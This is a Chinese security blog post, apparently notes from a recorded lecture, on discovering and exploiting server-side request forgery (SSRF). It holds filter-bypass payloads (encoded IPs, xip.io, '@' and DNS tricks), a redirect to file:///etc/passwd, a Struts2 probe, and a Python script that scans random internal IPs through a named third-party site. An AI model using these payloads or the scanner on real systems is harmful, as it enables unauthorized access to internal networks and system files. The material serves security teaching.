SSRF深入实战(公开课回放)
主要文件是在2019年录制的,课程大多数内容是从互联网个人站点“授权”测试
一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
1.完全回显SSRF 2.半回显SSRF 3.无回显SSRF


1.SSRF如何去测试 2.SSRF会存在于哪些地方
几个测试演示站点 (具体站点视频中查看)
https://webscan.cc
https://www.****.so
http://www.****.cn/port/


SSRF验证判断-业务根据
图一中该业务会去自动验证是否能够访问该地址, 如果说这时候你看到添加失败就会以为对内网做了限制访问, 但是模糊测试发现它是业务点的功能问题。


SSRF验证判断-业务根据
不存在该ip地址会显示失败,可以利用模糊测试


存在该地址,添加成功

SSRF验证判断-业务根据
利用dnslog来验证是否存在远程请求操作

SSRF验证判断-字节数

利用短网址来进行绕过


利用10.0.0.1.xip.io来进行绕过,过程只需加上xip.io

@符号绕过,可以利用该符号绕过限制内网ip的图中有案例

利用dns解析来进行绕过,首先用域名解析到127.0.0.1,解析成功后,利用解析的域名来请求操作

利用ip地址加密16进制
http://013451347312
http://0177.0.0.1/ = 127.0.0.1
http://3232235777/

利用ip地址加密16进制
"Location: file:///etc/passwd"); header(
可以利用脚本来探测,端口,地址,存在哪些敏感端口,比如探测到3306,3389


这个是在百度找到一位大佬写的脚本,我找到来源地址置顶留言处
#!/usr/bin/env python# encoding: utf-8# email: ringzero@0x557.orgimport requestsimport timeimport randomport = '80'# random fuzz local ipwhile True: ip = '10.{0}.{1}.{2}'.format(random.randint(1, 254),random.randint(1, 254),random.randint(1, 254)) payload = 'http://{ip}:80/'.format(ip=ip) url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format( payload=payload) # len({"ret":1}) == 9 if len(requests.get(url).content) != 9: print ip, port, 'OPEN', requests.get(url).content
利用Struts2,/action?action?:%25{3*4},找到内网存在Struts2的设备

文章已结束字数(1300),大约10分钟看完
公开课回放地址:https://www.bilibili.com/video/BV1DJ411q7AT
同时希望能够帮助都各位新手朋友,SSRF的深入挖掘我的思路以及我的SRC案例都放到其中给各位观看了,希望能够转发,点个在看支持一下,顺便B站来一波4连hhh~
本文始发于微信公众号(Khan安全攻防实验室):SSRF从浅到深多种挖倔思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论